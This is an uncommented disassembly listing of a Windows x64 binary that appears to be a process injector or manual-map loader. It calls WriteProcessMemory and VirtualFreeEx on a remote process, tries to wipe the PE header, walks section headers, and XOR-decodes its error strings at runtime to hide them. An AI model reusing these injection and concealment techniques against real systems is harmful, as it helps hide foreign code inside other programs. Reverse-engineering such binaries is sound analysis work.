mov rax, qword [rsp + 0x130]
lea rax, [rsp + rax + 0x6d9]
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x410]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6d8]
xor eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x130]
lea rax, [rsp + rax + 0x6d9]
mov qword [rsp + 0x418], rax
mov rax, qword [rsp + 0x418]
mov cl, byte [rsp + 0x5f]
mov byte [rax], cl
jmp 0x140077218
mov eax, 0x12
imul rax, rax, 1
lea rax, [rsp + rax + 0x6d9]
mov qword [rsp + 0x420], rax
mov rax, qword [rsp + 0x420]
mov byte [rax], 0
lea rax, [rsp + 0x6d9]
mov qword [rsp + 0x428], rax
mov rcx, qword [rsp + 0x428]
call fcn.140005fa4
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14007b523
cmp qword [rsp + 0x1b0], 0x505050
jne 0x140077987
mov byte [rsp + 0x8b0], 0x5b
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8b1], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8b2], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8b3], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8b4], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8b5], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8b6], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8b7], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8b8], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8b9], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8ba], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8bb], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8bc], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8bd], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8be], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8bf], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8c0], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8c1], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8c2], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8c3], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8c4], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8c5], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8c6], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8c7], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8c8], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8c9], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8ca], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8cb], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8cc], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8cd], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x1d
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8ce], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x1e
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8cf], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x1f
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8d0], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x20
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8d1], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x21
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8d2], al
movsx eax, byte [rsp + 0x8b0]
mov ecx, 1
imul rcx, rcx, 0x22
lea rdx, str.WARNING:_Exception_support_failed__n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x8d3], al
lea rax, [rsp + 0x8d4]
lea rax, [rsp + 0x8d4]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x138], 0
jmp 0x1400778e2
mov rax, qword [rsp + 0x138]
inc rax
mov qword [rsp + 0x138], rax
cmp qword [rsp + 0x138], 0x23
jae 0x140077946
mov rax, qword [rsp + 0x138]
lea rax, [rsp + rax + 0x8b1]
mov qword [rsp + 0x430], rax
mov rax, qword [rsp + 0x430]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8b0]
xor eax, ecx
mov byte [rsp + 0x60], al
mov rax, qword [rsp + 0x138]
lea rax, [rsp + rax + 0x8b1]
mov qword [rsp + 0x438], rax
mov rax, qword [rsp + 0x438]
mov cl, byte [rsp + 0x60]
mov byte [rax], cl
jmp 0x1400778cf
mov eax, 0x23
imul rax, rax, 1
lea rax, [rsp + rax + 0x8b1]
mov qword [rsp + 0x440], rax
mov rax, qword [rsp + 0x440]
mov byte [rax], 0
lea rax, [rsp + 0x8b1]
mov qword [rsp + 0x448], rax
mov rcx, qword [rsp + 0x448]
call fcn.140005fa4
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400768d3
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x190], rax
cmp qword [rsp + 0x190], 0
jne 0x140077ea0
mov byte [rsp + 0x778], 0x4e
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x779], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x77a], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x77b], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x77c], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x77d], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x77e], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x77f], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x780], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x781], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x782], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x783], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x784], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x785], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x786], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x787], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x788], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x789], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x78a], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x78b], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x78c], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x78d], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x78e], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x78f], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x790], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x791], al
movsx eax, byte [rsp + 0x778]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.Unable_to_allocate_memory_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x792], al
lea rax, [rsp + 0x793]
lea rax, [rsp + 0x793]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x140], 0
jmp 0x140077df4
mov rax, qword [rsp + 0x140]
inc rax
mov qword [rsp + 0x140], rax
cmp qword [rsp + 0x140], 0x1a
jae 0x140077e58
mov rax, qword [rsp + 0x140]
lea rax, [rsp + rax + 0x779]
mov qword [rsp + 0x450], rax
mov rax, qword [rsp + 0x450]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x778]
xor eax, ecx
mov byte [rsp + 0x61], al
mov rax, qword [rsp + 0x140]
lea rax, [rsp + rax + 0x779]
mov qword [rsp + 0x458], rax
mov rax, qword [rsp + 0x458]
mov cl, byte [rsp + 0x61]
mov byte [rax], cl
jmp 0x140077de1
mov eax, 0x1a
imul rax, rax, 1
lea rax, [rsp + rax + 0x779]
mov qword [rsp + 0x460], rax
mov rax, qword [rsp + 0x460]
mov byte [rax], 0
lea rax, [rsp + 0x779]
mov qword [rsp + 0x468], rax
mov rcx, qword [rsp + 0x468]
call fcn.140005fa4
xor al, al
jmp 0x14007b523
mov rdi, qword [rsp + 0x190]
xor eax, eax
mov ecx, 0x1400000
rep stosb byte [rdi], al
movzx eax, byte [rsp + 0xa38]
test eax, eax
je 0x140078448
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov r8, qword [rsp + 0x190]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xa20]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140078448
mov byte [rsp + 0x7f8], 0xb
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7f9], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7fa], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7fb], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7fc], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7fd], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 5
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7fe], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 6
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x7ff], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 7
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x800], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 8
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x801], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 9
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x802], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0xa
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x803], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0xb
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x804], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0xc
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x805], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0xd
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x806], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0xe
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x807], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0xf
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x808], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x10
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x809], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x11
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x80a], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x12
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x80b], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x13
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x80c], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x14
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x80d], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x15
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x80e], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x16
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x80f], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x17
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x810], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x18
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x811], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x19
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x812], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x1a
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x813], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x1b
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x814], al
movsx eax, byte [rsp + 0x7f8]
mov ecx, 1
imul rcx, rcx, 0x1c
lea rdx, str.WARNING_:_Cant_clear_HEADER_n
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x815], al
lea rax, [rsp + 0x816]
lea rax, [rsp + 0x816]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov qword [rsp + 0x148], 0
jmp 0x1400783a3
mov rax, qword [rsp + 0x148]
inc rax
mov qword [rsp + 0x148], rax
cmp qword [rsp + 0x148], 0x1d
jae 0x140078407
mov rax, qword [rsp + 0x148]
lea rax, [rsp + rax + 0x7f9]
mov qword [rsp + 0x470], rax
mov rax, qword [rsp + 0x470]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f8]
xor eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x148]
lea rax, [rsp + rax + 0x7f9]
mov qword [rsp + 0x478], rax
mov rax, qword [rsp + 0x478]
mov cl, byte [rsp + 0x62]
mov byte [rax], cl
jmp 0x140078390
mov eax, 0x1d
imul rax, rax, 1
lea rax, [rsp + rax + 0x7f9]
mov qword [rsp + 0x480], rax
mov rax, qword [rsp + 0x480]
mov byte [rax], 0
lea rax, [rsp + 0x7f9]
mov qword [rsp + 0x488], rax
mov rcx, qword [rsp + 0x488]
call fcn.140005fa4
movzx eax, byte [rsp + 0xa40]
test eax, eax
je 0x1400794d8
mov rax, qword [rsp + 0x78]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x78]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x94], 0
jmp 0x14007849b
mov eax, dword [rsp + 0x94]
inc eax
mov dword [rsp + 0x94], eax
mov rax, qword [rsp + 0x40]
add rax, 0x28
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x178]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x94], eax
je 0x1400794d8
mov rax, qword [rsp + 0x40]
cmp dword [rax + 8], 0
je 0x1400794d3
movzx eax, byte [rsp + 0xa50]
test eax, eax
je 0x1400784df
mov dword [rsp + 0xac], 0
jmp 0x1400786fc
mov byte [rsp + 0x648], 0x31
movsx eax, byte [rsp + 0x648]
mov ecx, 1
imul rcx, rcx, 0
lea rdx, [0x1400d3c54]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x649], al
movsx eax, byte [rsp + 0x648]
mov ecx, 1
imul rcx, rcx, 1
lea rdx, [0x1400d3c54]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x64a], al
movsx eax, byte [rsp + 0x648]
mov ecx, 1
imul rcx, rcx, 2
lea rdx, [0x1400d3c54]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x64b], al
movsx eax, byte [rsp + 0x648]
mov ecx, 1
imul rcx, rcx, 3
lea rdx, [0x1400d3c54]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
mov byte [rsp + 0x64c], al
movsx eax, byte [rsp + 0x648]
mov ecx, 1
imul rcx, rcx, 4
lea rdx, [0x1400d3c54]
movsx ecx, byte [rdx + rcx]
xor ecx, eax
mov eax, ecx
